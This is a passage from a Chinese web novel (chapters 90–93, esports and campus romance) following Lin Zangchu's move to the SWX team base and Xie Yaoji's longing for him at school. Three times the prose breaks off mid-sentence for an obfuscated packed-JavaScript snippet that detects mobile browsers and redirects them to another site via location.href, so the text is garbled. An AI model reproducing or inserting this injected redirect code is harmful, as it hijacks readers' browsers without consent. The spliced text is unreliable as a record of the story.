虽然嘴上说是“试训”,但其实双方都心知肚明,这一走就不会再回来了。 SWX战队虽然也在B市,但离TL-Stars基地要远得多,几乎横跨大半个市区。 林藏初和简一往外搬行李的时候,刚好赶上TL基地的训练休息时间,关系不错的青训队员纷纷找了个借口出来送行。 林藏初眼尖地看见躲在人群最后面的Dawn。他没敢上前,似乎只是想远远地探头看个热闹。 发现林藏初的视线在望向自己这边,又欲盖弥彰地躲回基地门口,从恰巧路过的阿姨的手里把抹布抢过来,认真地擦起玻璃。 很忙,但又不知道在忙些什么。 林藏初哑然失笑,在对方又一次悄悄看过来时光明正大地挥了挥手。 “……”少年擦玻璃的动作尴尬一顿,被识破的后果是红了脸,迅速把抹布还给旁边不明就里的阿姨,钻入人群里看不见了。 “Simple,我会想你的。” 站在身侧的青训队员紧紧地抱了下简一,哭丧着一张脸道:“还记得那局训练赛你一个控帮我拿了五杀……你要是走了,谁还能把我当婴儿照顾……” “去去去,别在这丢人现眼。” 另一个队员揪着他的衣领把人从简一身上扯开,“凭你那个不管不顾总想着冲上去以一杀五的劲头,平时也就Simple能惯着你。” “人家现在有比你更好的选择了。”他戏谑道,“Lin可是咱们这批青训生里面实力最强的。” “——Simple你说是吧?” “反正跟着林哥走肯定没错。”简一点了点头,对他的话表示由衷的肯定,“我也会想你们的。” “有时间的话可以一起排位冲分。” “真的吗???!” 被扯开的青训队员眼含热泪地再度扑了过来,这次连同林藏初都被他一起用力搂进怀里:“大腿一号!大腿二号!” “到时候我们三排!杀穿!!说好了不许反悔!” …… ………… 等林藏初和简一好不容易摆脱热情的前队友们,终于站在SWX战队基地的大门前的时候,已经是下午两点了。 负责出来接应他们的是那天在咖啡馆见过面的打野选手,白尘。 他先是礼貌地打了招呼,然后就按照流程领着两个人上楼去选各自的卧室。 林藏初没怎么犹豫,直接敲定了靠南的二楼侧卧。简一跟着白尘转了两圈,最后决定住在林藏初对面房间,有什么事也好能照应些。 因为人少的缘故,整个SWX基地显得十分空落。 直到白尘主动帮两个人把放在基地门口的行李拎上楼,林藏初都没再看见过除他以外的第二个队友。 ……初来乍到就开始贸然打听,这种行为好像不是很有礼貌。 少爷犹豫几秒,最后还是没能抵过自己的好奇心,开口问了:“齐队长他今天不在基地吗?” 白尘刚好领他们走到基地的餐厅区域。 “你问队长?他在的。” 他解释道:“这个时间点,队长应该正在……” 话音未落,几米开外的厨房里忽然传来一声巨响,紧接着就是锅碗瓢盆彼此碰撞的噼里啪啦声。 “呃,如你们所见,正在里面烧菜。” 林藏初:“……?” 简一:“……????” “队长做饭的时候不太喜欢被人打扰。” 白尘冷静地推了下眼镜:“他说会严重影响到他厨艺的发挥……所以,为了大家的食品安全着想,关于基地厨房设施这部分我们改天再来参观。” “唰啦——” 隔着一道不太结实的门板,林藏初清楚地听见里面的人把菜下进油锅的声音。 他盯着旁边墙壁上“厨房重地,闲杂人等请勿进入”的牌子看了一会儿。 然后语气复杂地问:“咱们基地……每天都是队长负责烧菜做饭?” “也不是。”白尘想了想,诚实地回答道,“有时候队长忙得实在没时间,我们就会改吃泡面。” 林藏初:“0.0。” ……是错觉吗,怎么忽然感觉大家以后会有某天集体团建出门喝西北风的可能性。 “但是我们在这方面也是很人性化的。” 白尘面无表情地接着强调道:“每位队员吃的泡面口味都不一样。” 简一:“……”好冷的笑话。 “其实今天本来夏焱也要出来迎接你们的,队长特意给他安排了喷彩带的任务。” “但是他可能没定闹钟。” 白尘说:“刚才下楼的时候看见他还在睡,不出意外,到吃饭的时候才会醒。” 基地走廊太空旷,以至于这人的最后几个字都带了回声。 林藏初朝周围找了一圈,没能找到SWX战队墙上贴着的日常训练作息表,白尘就像是知道他想问什么似的:“我们战队每个人的作息时间都不固定,比如队长平时喜欢早睡早起,Summer基本上每天都会通宵。” 他只说了包括自己在内的三个队员,但除此之外的其他人却一点儿没提。 简一并没有多想,下意识地接着他的话问:“那另外两个人呢?” “哦,他们啊。一周前就已经搬走了。” 白尘无所谓地耸了下肩:“XY.Z战队虽然实力不怎么样,但还是比较能遵守约定的。” 他没明说,但是林藏初和简一都知道这话后面藏着的意思——SWX的前射辅和XY.Z私下里达成了某种协议,并以此来换取下一个“机遇”。 林藏初沉默片刻:“他们两个都去了XY.Z?” “如果我没记错的话,XY.Z应该没有多余的首发位置了。” “对,是没有。”白尘点了下头,“不过一队的替补还空着几个。” “他们队基本上是轮换制度,打得不好就换人。替补上场机会还是挺大的。” “不说这个了,队长的午饭应该还没做好,我先带你们去训练室转转。” “以后的平台直播一般也都是在那边。” 林藏初和简一跟在白尘身后,听他在路上边走边介绍道:“合同上写的直播时长是每个月五十小时起步,平均每天播一到两个小时就好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817748|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过要是像Summer一样堆到月底再补,其实也没事。” SWX战队的训练室面积不算小,几乎可以说是整个基地最豪华的一处,每个队员都有自己的专属位置。 林藏初粗略扫了两眼,发现除了最里面和靠近门口的这三个机位,其余的座椅都是空着的。 不远处的窗台上摆着一排规整的多肉盆栽,因为被人照顾得很好,而呈现着生机盎然的嫩绿色。 墙壁也挂满了琳琅满目的装饰品,旁边的置物架里装着各种书籍和漫画,甚至还能够看见某某游戏限量典藏款周边礼盒。 ……跟TL-Stars战队基地训练室给人的感觉完全不一样。 简一站在训练室的门口,对着那款典藏礼盒缓缓发出赞叹:“我去,这个我记得,当时好难抢的!” “半夜十一点我表姐连打八个电话让我帮忙,结果开售一秒全部售罄,根本就抢不到。” “你永远能相信我们齐队的手速。”白尘顺着他的视线看过去,笑了笑,“那天队里连训练复盘都没搞,就为了准时蹲点帮Summer抢这个。” “几个人抱着手机齐刷刷地坐在WIFI旁边,结果只有队长一个抢到了。” “Summer为了感谢他,第二天主动提出要帮忙进厨房一起做午饭。” 简一直觉整件事情不会这么简单:“然后呢?” 白尘幽幽道:“然后我们那天中午吃的泡面——因为夏焱不小心把队长的锅给烧糊了。” 林藏初没忍住笑出了声。 “是吧。”白尘讲完自己也跟着笑起来,“真是好一场酣畅淋漓的恩将仇报。” 话音落下不过几秒钟,训练室的外面就传来另一个人的声音:“啧。” 兴许是刚睡醒的缘故,听上去还有点哑,但挡不住这人洋溢的朝气蓬勃。 “刚下楼就听见你在新队友面前编排我。”夏焱倚在楼梯上,怀里还抱了一坨圆滚滚的白色毛团子,“要是再晚点来,话题是不是就要进行到‘Summer被队长赶出厨房所以伤心欲绝,一个人含泪地吃完队友的三大桶泡面’了?” 他怀里的小狗伸着舌头哈气,中气十足地跟着附和道:“汪!” “现在这话是你自己说的,我可没说——” 白尘拍了拍手掌,“馒头,过来!” “汪汪汪!” 名叫馒头的小狗立刻忘掉了自己刚才在帮谁说话,开始剧烈挣扎,夏焱怕它摔着,连忙弯腰蹲下来。 松开胳膊的一瞬间,馒头后腿用力一蹬,欢快地朝着白尘等人跑过来:“汪!” 等跑到近处又忽然刹了车。 圆溜溜的黑色眼睛茫然地在林藏初和简一之间转了转,是没见过的陌生面孔。 它低头在这两个人的身上嗅了嗅,夏焱已经在后面追着跑了过来:“没事的,馒头它不咬人……” “汪!!!” 馒头抬起自己毛茸茸的脑袋,尾巴摇得飞快,几乎变成了螺旋桨。 下一秒,夏焱眼睁睁地看着它义无反顾地扑进了那个长得很好看的新队友怀里——倒地翻开肚皮,开始哼哼唧唧地撒起娇来。 夏焱:“……?” 91.Chapter 91 于是当齐舟越端着做好的饭菜从厨房出来的时候,看见的就是这样一幅场面—— 狗爪踩在新队员的脖颈间,新队员表情发懵。夏焱在后面死命阻止,拽着馒头的后脚喊:“不要啊!馒头!回来!!” 馒头不语,只是一味踩着对方的衣服往上爬,并热情地试图用舌头去舔对方的脸。 蹲在地上的林藏初被它糊了一脸口水,下意识地抓住狗的后脖颈,想要把它拎起来。 ……结果没能拎动。 林藏初:“?” 这玩意儿不是小型犬吗?? 一边袖手旁观的白尘推了推眼镜,十分贴心地提醒道:“队长和Summer平时喂它喂得太多了,有点超重。” 夏焱绝望地叫道:“这种时候能不能不要说风凉话——快把它从人家身上弄下来啊!” 于是白尘弯下腰,把馒头像捞饺子一样捞起来。小狗离开了自己喜欢的人类气味,四只爪子开始疯狂地在空中挥舞。 齐舟越看着训练室门口鸡飞狗跳的几个人,颇为头疼地摇了摇头。 他把菜放在餐厅的桌子上,动作娴熟地解开围裙搭在椅背,然后扬声招呼道:“洗手,过来吃饭。” “来了!” 夏焱手里没有抱狗,因此成为第一个响应队长号召的人,十分迅速地蹿去洗手间。 白尘找了个房间把馒头安置好,也跟着过去,被刚洗完手出来的夏焱弹了一脸的水花。 几滴冰凉的水珠顺着镜片缓缓滑落,白尘面无表情:“……我要去跟队长告状。” 排在两人旁边的林藏初和简一目睹全程,脚下齐刷刷地默契向后退了半步。 夏焱从白尘口中听见队长的名字,恶作剧才得逞不过三秒,立刻很怂地换了个态度。 “我错了Ash。” 个头一米八的大小伙子能屈能伸,瓮声瓮气地跟人商量道:“你弹回来行不行?” 白尘:“……幼稚。” 四个人推推搡搡地挤在走廊里,光是洗手就洗了快有十分钟,齐队孤零零地坐在餐桌前,叹口气,似乎是已经习惯了。 今天SWX的午饭是简单的两菜一汤,林藏初跟齐舟越礼貌地点头打过招呼,刚挨着白尘坐下。 就听见夏焱边嚼着饭菜边含糊不清地问:“队长,你炒豆角是不是忘记放盐了啊?味道好淡。” “基地的盐不够了,没来得及买。” 齐舟越解释道:“我已经把最后的半勺放进去了,对付吃吧。” 林藏初好奇地低头尝了一口。 确实挺淡,淡得嘴里都尝不出味道。 “……不行,我要去找点补救措施。” 夏焱在咬到第三口豆角之后,终于撂下筷子站起身,“这菜实在太淡了。” 他说完就从座位上离开,在餐桌其余几个人的注视下一溜烟儿地钻进了厨房。 几分钟后,白尘看见这人手里抱着一只巨大的酱油桶回来了:“加这个!” “我们家那边做菜都这么放——” “哎,等等,那不是……” 齐舟越眼皮一跳,想伸出手阻止但是没来得及,只能眼睁睁地看着他举着酱油桶,哗啦一下倒进菜盘里。 很不出意外地倒多了。 而且—— “……那不是生抽。那是老抽。” 齐队徒劳地捂了下眼睛,默默把后面没说完的话给接上了。 刚从盘子里夹完菜的白尘:“……” 他用筷子举着乌漆麻黑的豆角,缓缓移到自己面前打量一阵:“这还能吃吗?” 简一:“不像是能吃的样子啊。” 林藏初:“确实。” 齐舟越叹了口气:“我都说了不要让Summer进厨房……” 夏焱:“万一能吃呢?” 罪魁祸首放下手里的酱油桶。 非常不信邪地把豆角塞进嘴里尝了尝。 两秒钟后。 夏焱朝着地面弯腰:“yue——” 旁边的白尘认命地跟着起身:“我去找泡面……” 林藏初按住他:“等下。” 白尘疑惑回头:“?” 他以为林藏初是要点菜,于是问:“你要红烧牛肉还是番茄鸡蛋?” 林藏初没有回答,白尘看着这人掏出手机,在屏幕上随便点了几下。 然后递过来,上面是某团APP琳琅满目的美食商家界面。 林藏初:“你们先看看,没有忌口的话我就随便点了。” 白尘:“??” 眼镜往下一滑,他冷静地伸手推回去。对着结算列表里的麻辣小龙虾和蒜蓉生蚝缓缓咽了口唾沫。 “没……我是说,嗯,没有忌口。” “想吃什么自己挑。队长你们呢?”林藏初转向其他人,“羊肉串要不要辣?” 白尘烫手山芋似的地把少爷的手机传给齐舟越,齐舟越又递给简一,最后轮到夏焱手里的时候,他看着菜品界面结算栏的那串数字,心都跟着颤了颤。 不是,点这么多真的没问题吗? 他没忍住朝林藏初的方向看过去,觑了眼对方的神色—— 林藏初的表情随意又坦然,就好像“新来第一天就请队里的大家吃烧烤”的行为是件再寻常不过的事。 夏焱在商家的菜品推荐列表翻了一阵,纠结几秒,然后小心翼翼地往购物车里加了两串烤韭菜。 手机递还给林藏初时,对方显然有些诧异:“你们就吃这么少啊?” 夏焱:“……?” 少??这还少吗?! 他欲言又止地往其他三个人身上扫了两眼——当然,如果夏焱知道除了列表里面的两瓶孤零零的矿泉水,其他菜品都是少爷自己大刀阔斧加进去的话,心理应该多少会平衡一点。 林藏初单手接过手机,在夏焱和简一等人的注视下唰唰唰地又开始往里面加菜。 菜品界面下方的结算数字以一种不可思议的速度迅速攀升,夏焱连最终的总价格都没看清,屏幕就跳转到了支付界面。 眼瞧着对方付款的时候眼都没眨,简一小小声地询问:“那个……林哥,这顿饭多少钱啊?” 林藏初已经手快退出了外卖软件。 “哦,刚才忘记看了。”他想了想,“反正这顿算我请的,问题不大。” “原来这就是被人包养的感觉吗……”夏焱喃喃道,“队长,我现在无比支持你把以前那两个人渣早早踢出去的决定。” “只要林哥一声令下,我立刻拥护他成为SWX基地的新皇帝,拥有不用刷碗扫地和洗衣服等一切尊贵特权。” 白尘也举手:“我支持。我可以帮忙多干一个人的活。” * SWX基地的这顿豪华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825263|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧烤从下午一直吃到了半夜凌晨。 客厅里的投影仪开着,几个人窝在沙发里一边撸串一边看恐怖电影。 简一和夏焱被女鬼吓得滋哇瞧叫,紧紧地抱作一团,刚见面时的那点儿矜持全都不见了。 他俩尖叫的声音太大,被吵醒的馒头从自己二楼的窝里钻出来茫然巡视一圈。 闻到楼下的烧烤香气,鼻尖一耸,飞快地撒腿跑过来要吃的,然后成功被林藏初拿着特意备注没放酱料的羊肉串给投喂了,高兴得摇着尾巴连着转了好几个圈圈:“汪!” “汪汪!!!” 气氛正好,夏焱打头嚷着要喝酒,最近没有什么比赛要打,队长破例很好说话地准了。 半个小时后外卖员再次敲门,简一费力搬回来了整箱啤酒,结果又看见白尘不知道从哪个犄角旮旯翻出来两副扑克。 于是事态开始朝着不可预料的方向发展了—— “哈哈!”夏焱把手里的牌一摔,举着啤酒单脚踩上桌子,“我赢了!” “总算轮到林哥喝了!快给他满上!” 玻璃杯子被倒满,咕嘟咕嘟地往外溢着白色的啤酒泡沫。 林藏初动作利落地举起来一仰而尽。 “好好好,再来!” “我草Ash你怎么耍赖啊,快点儿的,被发现自罚三杯好吧?” “队长,该你喝了。” “什么运气啊,这把怎么又是我!” “认命吧,这杯酒该是你的就是你的。别人想喝都喝不上。” …… 十几轮扑克牌打下来,每个人都多多少少地被灌了不少酒,其中又属林藏初最为倒霉,后半场几乎是把把都在喝。 简一比他喝得少些,七仰八叉地躺在沙发上放空大脑,望着天花板打了个酒嗝,喃喃道:“老天奶,这就是职业选手们的真正生活吗……” 他几乎不知道自己在说什么了,浑浑噩噩地翻了个身,然后就看见茶几上放着的最新款iPhone正在嗡嗡振动。 锁屏界面好像显示有人来电。 简一艰难地思考几秒,终于想起来这个手机是他林哥的:“……林哥。” 林藏初整个人向后靠在沙发上,手腕搭在闭着的眼皮上,敷衍含糊地应了声。 简一其实也快要睡过去了,但是腿被夏焱的脑袋压得有些发麻:“林哥,你手机……” “……什么手机啊。” 夏焱睡得迷迷糊糊的,胡乱挥舞了下手掌,然后啪地一声,十分清脆地打在了简一的脸上。 简一:“……” 简一很想从沙发上站起来骂他,但是实在太困了。 他被夏焱这一巴掌打懵了,话题被岔过去,也就忘记了自己刚才到底想跟林藏初说什么。 两秒钟后,简一死人挺尸般地坐起身,把腿上沉重的脑袋给推下去,又重新躺下。 ……只花了不到三秒就睡着了。 林藏初的脑袋有点疼,等了半天也没听到简一后面的话。 他总觉得自己似乎忘了点什么事。 ——貌似还是件很重要的事。 少爷被酒精麻痹的大脑无比迟钝地想了半天,到最后也没能想出来个所以然。 他闭着眼睛,整个人昏昏沉沉地,彻底睡着前仅剩的念头是:这边的烧烤味道真好。 要是谢遥集也能过来尝一尝就好了。 92.Chapter 92 凌晨1:30。 谢遥集看着聊天框里接连六条“对方无应答”的消息提示,很轻地蹙了下眉。 今天是星期四。 林藏初跟他约好每周四会打一通视频通话,以往都是不到晚上十点就主动打过来,但是今天没有。 不仅没有,就连谢遥集在过去几个小时里发过去的消息也都石沉大海。 挂在墙壁上的时钟滴答滴答地走,老师布置的数学卷连着写了四张,旁边的手机却还是毫无动静。 倒数第二道题越算越烦躁,他心思全然不在上面,构造函数的求导写了三遍都不对,最后才发现是分母代错了公式。 “……” 谢遥集把题目下面写了整整一大片的错误过程划掉,克制着力道很重地撂了笔。 他的视线从手机亮着的屏幕上扫过去,又往上,落在那摞堆得高耸如小山的习题册上。 压在最底层的书页已经开始发旧泛黄,侧边微微卷曲,被人拿针管笔画了个模糊的红色爱心。 是林藏初上课闲来无事时的手笔。 谢遥集的手指伸过去,指腹触到书页上干涸的墨水,慢慢地摩挲了两下。 忽然很想把这本习题册扯出来看一看。 规整层叠的书堆被他稍加力气的拖拽扯得摇晃起来,中间紧密压着的本子随着习题册的抽出而被一同带离。 蓝色封皮的笔记本掉在地面上,发出一道轻闷的、不易察觉的声响。 谢遥集拿着书的动作顿了下。 ——他不记得自己有买过这个颜色的笔记本。 而且还是可以平铺的。 就比如现在。 看上去质量很好的笔记本安静地躺在地面上,内页大咧咧地敞开着。 横线里的字迹熟悉,左上角被人认真地标了某年某月某日。 谢遥集鬼使神差地弯下腰。 指尖碰到笔记本的瞬间,视线也跟着落在那行被林藏初写得很工整的字上。 虽然和少爷现在愈加狂草的笔迹稍有出入,但外人仍要费些心思才能辨认出来。 而谢遥集足够熟悉,所以他几乎是扫了一眼就认出来上面的内容。 【上高中之前也没人告诉我会遇见这种冷冰冰的人啊?我寻思我也没得罪他吧,不就是请全班吃个烧烤吗,不来也就算了还瞪我! 难道长得好看就可以为所欲为吗?】 某个三字关键词映入眼帘,谢遥集缓缓跟着重复一遍,面色忽然变得古怪起来。 ……这好像是林藏初写的日记? 他想起来几个月前那场布置考场的大扫除,生活委员边指挥边忙着清空讲桌里的东西,在谢遥集路过的时候顺手把这个厚笔记本塞进了他的书包。 说什么都是同桌啊坐得近,发善心帮忙保管一下,等考完试再还给人家。 然而那天晚上谢遥集着急去网吧打工,后半夜到家的时候已经是凌晨三点,连作业本都没来得及收拾。 第二天一大早又被舅舅陈康平上门讨债,胃疼想去学校食堂吃饭,结果十分倒霉地叫几个人给拦在偏僻的巷子里,再然后就是神兵天降一样忽然出现的林藏初。 还有少爷请他吃的那碗热气腾腾的过桥米线。 稀里糊涂地坐车去了人家的家里。又稀里糊涂地往伤口上涂了药。 不怎么记事的黑白花小猫在少爷房间的地毯上跳来跳去,看得出来对自己的新家很满意。 考完试之后许多乱七八糟的事都叠在一起,谢遥集忙得转昏了头,也就忘了当初高姿随口交代给他的嘱托。 也可能是因为林藏初回家反省,他连着几天都没能见到对方的缘故。 那个时候还是短短几天,换到现在,见不到面的期限就变成了长长的几个月。 厚重的笔记本被谢遥集从地上捡起来,用袖子轻轻擦掉后面粘上去的灰尘。 他垂着眼睛看向封面,就好像在透过这本日记去看当初写下它的人。 ……要看吗? * 林藏初是在第二天中午给他回的消息。 正好是去食堂吃饭的时间,谢遥集端着餐盘找了个角落位置坐下,藏在校服口袋里的手机从半分钟前就开始震。 谢遥集用筷子夹了道宫保鸡丁,心无旁骛地塞进嘴里。 “……” 没有再吃第二口。 他把饭咽掉,面无表情地心想:果然就算过了这么久,这道菜也依旧还是很难吃。 手机的锁屏界面灭了又暗,谢遥集伸手把它掏出来的时候,刚好看见少爷的最新一条消息。 -菜就多练:[滑跪.jpg] Q/Q的通知栏有二十三个提醒红点,全是少爷发来的表情包。 谢遥集握着手机,把聊天框向上滑,终于翻到对方最早回复的那条消息。 -菜就多练:我醒了…… -菜就多练:昨晚队里聚餐喝了点儿酒,不知道什么时候睡着的 -菜就多练:睡醒就到现在这个时候 -菜就多练:[可怜.jpg] -菜就多练:你会原谅我的对吧 -菜就多练:[对手指.jpg] 后面全都是如出一辙的猫猫道歉表情包,铺满了整整三屏幕。 谢遥集说不出自己现在是什么心情,他的视线在那句有关喝酒的字眼上短暂地多停留了几秒。 -3314***629:有没有头疼? 对方正在输入中…… -菜就多练:我草。[震惊.jpg] -菜就多练:你怎么知道我的脑袋昨天疼了整整一个晚上 -菜就多练:不过睡一觉醒来感觉好多了 -3314***629:下次记得提前煮姜茶。 -菜就多练:[大哭.jpg] [大哭.jpg] -菜就多练:我会的…… -菜就多练:唉,没有下次了,再喝这么多酒我就是小狗 紧绷到现在的神经终于彻底松懈下来。 他昨晚几乎没怎么合过眼,胃从上午就一直在反酸发痛,刚咽进去的饭菜在里面像石头一样地硌着难受。 谢遥集硬撑着又吃了几口,脸色苍白地放下筷子按了按腹部。 -3314***629:截图了。 他发完这句之后,对面又回了个表情包,然后说自己要去忙啦。下次聊。 于是谢遥集在键盘上打字说好。 胃里的那阵隐痛终于缓过劲来,他按灭手机,端着空餐盘朝窗口走。 走了几步又忽然想起来,自己今天忘记了问对方有没有好好地吃早饭。 周围的学生来来往往,其中不乏有过来打招呼的熟人。 谢遥集的右手刚放进校服的口袋,只堪堪碰了下手机的屏幕,又默不作声地松开了。 走回北教学楼的路上会经过冒出嫩叶的行道树,拐角处有早恋小情侣躲着政教和监控嘻嘻哈哈地追逐打闹。 他的视线忍不住朝着两个人追过去,女生似乎是跑累了,在操场上随便找了个台阶,垫着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842158|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校服外套坐下来休息。 男生弯腰凑过去跟她咬耳朵,好像说了什么惹人烦的话,被女生佯装恼怒地向外一推,整个人立刻夸张地向后倒去。 那个台阶的位置谢遥集是记得的。 学校里难得一见的监控死角,林藏初上体育课的时候偷偷地在那边玩过手机。 然后被自己这个“学生会会长”当场抓了个正着,少爷一不做二不休,干脆直接拉人下海,一起同流合污地打游戏。 结果谢遥集就连新手难度都没打通关。 他想来想去,又觉得这已经是很久之前的事了。几乎可以算作是上一个夏天。 今年学校里的景色一点都没变,课间也总是有人把羽毛球挂上树杈。 谢遥集偶尔从那边路过,会帮忙拿篮球砸下来,学弟学妹们感激地说着谢谢,大着胆子邀请他加入打羽毛球的行列。 谢神每次都只是面露歉疚地摇摇头,说:“抱歉,我不太会打这个。” 不太会——指当初跟同桌打了整整一节课都没有让对方掉过一次球。 发出邀请的学弟拎着羽毛球拍,有些遗憾地退回去:“啊,那有机会再一起玩。” 这事就算过去了。 谢遥集其实不怎么爱在操场散步。每次走在学校里面,他都会看见那些和林藏初一起待过的地方。 有时候是处毫不起眼的灌木丛,有时候又会是被麻雀蹦跳着经过的墙角。 男朋友留下的日记被他私心带来学校,装在书包的内层里,在每个想念对方到发疯的时间点里拿出来,从第一页开始翻起。 【不想开学……这下真变成高中生了哈哈。在门口闲来无事看了眼分班名单,排第一的那个哥们中考成绩是认真的吗??差两分满???】 【体育课大家一起玩狼人杀,天降鸟屎啊。啪地一下粘在XX的新鞋上!!众人围观不敢言(ps.我不小心成为唯一笑出声的人,在此深深忏悔)】 【不小心被锁在教学楼里面了,又遇见班里那个总考第一的,啊啊啊啊啊啊该死的我就不该跳那个窗户!!!可恶! 另记:抛开恩怨不谈,总感觉这人好像越长越好看,是我的错觉吗】 【夭寿了为什么老师要把我俩安排成同桌!!这叫什么,不是冤家不聚头】 【我宣布我今天最讨厌的人是政教主任:)上课睡觉又被抓了,心碎】 【我感觉我可能对这个新同桌有那么一点点的误会……他人还怪好的。交个朋友好像也不是不行。(此处最后一句被人用黑笔划掉,同时旁边重重地打了个问号)】 谢遥集一页接着一页地看过去,在林藏初离开的这段日子里,变成一种自私当头的、名不正也言不顺的慰籍。 或许这叫做饮鸩止渴。 谢遥集扪心自问、索然无味地想,他确实不是什么好人。过去算不得是君子,现在又把自己变成一个偷看他人日记的罪犯。 ……如果被林藏初知道了,会怒不可赦地打来电话质问吗? 会比他想象中的还要更严重吗? 谢遥集无端想到那两个字,心情又变得糟糕起来。生物老师在讲台上喋喋不休。 最好的结果莫过于少爷已经早早地把这个笔记本给忘掉,并且再也不会过来找。 然后他就可以恶劣地将它据为己有。 变成自己无法宣之于口的罪行。 他垂着眼,笔记本被翻到了空白的下一页。 铅笔的痕迹落下去。 ——xxxx年x月x日。天气晴。 93.Chapter 93 这份不足为外人道也的思念被谢遥集无比谨慎地藏在心里,日子一天天捱过去,他在课堂上走神的次数也越来越多。 成绩倒是没受影响,几次全市模考成绩下来,班主任走进教室的时候都要乐开花。 化学老师消息最为灵通,下课之后拍着他的肩膀说必须得好好学习继续保持啊,咱们临水一中这么多年,好不容易才能出来个有望清北的苗子。 要是最后真的考上了,学校的高额奖学金不是什么问题,至少能有这个数。 化学老师故作玄虚地伸出五个手指,围在讲桌周围凑热闹的学生们立刻长长地哇了声:“这么多?!” 谢遥集也有些意外地眨了下眼。 临水一中设立高考奖学金这事他之前有所耳闻,但是确实没想过数额会这么大。 落在肩上的手掌温热有力,温度顺着薄薄一层校服渗进来,他抬起头,正好对上老师眼里殷切期盼的目光。 恍惚间好像又回到开学典礼那天,班主任也是这个神情,委婉地劝说他去参加数学竞赛。 今时心境不同往日,谢遥集心知肚明地接下这份满怀善意的担子,承诺般地朝着化学老师点了点头。 林藏初还是会隔三差五地忘记回消息。 但是每天的早餐截图却张张不落,有时候是从外面买的包子,有时候是自己下的清汤挂面,里面加了不小心煮散的荷包蛋。 笔记本里的铅笔痕迹删删减减。 前面的纸页会贴上写满字的便利贴。 旁边那套空荡荡的桌椅在窜座时被谢遥集一个人从教室中间搬去教室北边,再从北边挪到南边。周而复始。 生活委员有问过他的意见,要不要把这个空桌子暂时安置到其他角落,这样班级每周换位置的时候也方便。 被谢遥集不着痕迹地礼貌拒绝了。说是要放东西。 高姿也就没再坚持,又问他:“哎,林神什么时候回来啊?” 谢遥集摇了摇头。 没告诉她林藏初可能不会回来了。 他其实不太确定这个问题的答案,也没有勇气去对话框里状似无意地打出来询问。 因为害怕会得到少爷肯定的回答。 虽然这个结局早已经在他的梦里演练过了无数遍。 长到一分钟的语音条,短到只有几个字的气泡,内容几乎都是大同小异。 谢遥集在无数个入睡后的凌晨忽然惊醒,劣质的折叠床被他倏地坐起的动作压出难听的吱呀声。 醒来之后他总是下意识去摸手机,放在枕头边上,很轻易就能够得到。 摸到了,按开屏幕拿在手里,点开置顶的对话框又开始犹豫。 鼓噪的心跳在深夜寂静里渐渐平缓,谢遥集想起对方每天晚上睡觉前都要上交手机。 无论他发什么,林藏初都不会有回复。 就像几分钟前梦里的那样。 临近高考,学校课业变得越来越重,谢遥集在两周前辞掉了网吧的兼职,银行卡里的积蓄不多,但也勉强够撑到高考之后。 他睁开眼睛,望着出租屋里满是灰尘的天花板,开始盘算暑假在去补课机构的同时再接三份一对一家教的可能性。 考上大学之后还能拿奖学金,再算上他这些年打工转的钱,刚好能把身上的债务填平。所以只要再凑够第一年的学费就好。 而且林藏初所属的战队也在B市,一切都很恰到好处。 谢遥集又闭上眼睛。心想,最快也要三个月之后才能见上面。好久啊。 * 五一假期结束,班里的座位又重新换了一轮。 谢遥集被分到教室南边第二排的位置,靠窗,离黑板也不远,稍稍偏头就能看得见窗外的梧桐树。 今天的天气很好,正是下午第一节课,高三(1)班难得统一意见地开了窗户通风。长短不一的二手碎花窗帘被风吹得微微晃动,阳光透过纱窗照进来。 针管笔的笔尖落在卷面上,被窗外的光线投出一道清晰的影子。 语文老师正站在讲台上念阅读理解,随手从讲桌上拎了把剪刀充当教鞭,指着黑板上的板书声嘶力竭。 下面的学生也埋着头奋笔疾书,一半在认真记笔记,一半在忙着补下节课的生物作业。 谢遥集被他的新后桌拍了拍肩膀,动作迅速地塞过来一张皱皱巴巴的小纸条: -谢神,能不能斗胆向你借一下昨天新发的数学卷 -江湖救急!拜托了QUQ 他捏着纸条看了一会儿,沉默地放下手里的高考英语必背三千五百词,低头去桌屉里翻卷子。 几秒钟后灰色的卷子被他反手传给后面,试卷递过去的一瞬间,同时冒出来好几只手争先恐后地去接。 后排的几位同学在空中无声地较了两回劲儿,最终数学卷落到传纸条的代表手里。 语文老师的视线从讲台上扫过来,在这几个鸡飞狗跳的同学身上停留几秒,讲课的声音顿了顿,随即又睁一只眼闭一只眼地移开了。 窗外传来楼下班级抑扬顿挫的朗诵声,谢遥集向后递完数学卷,视线落到老师身侧规整的板书上,又开始出神。 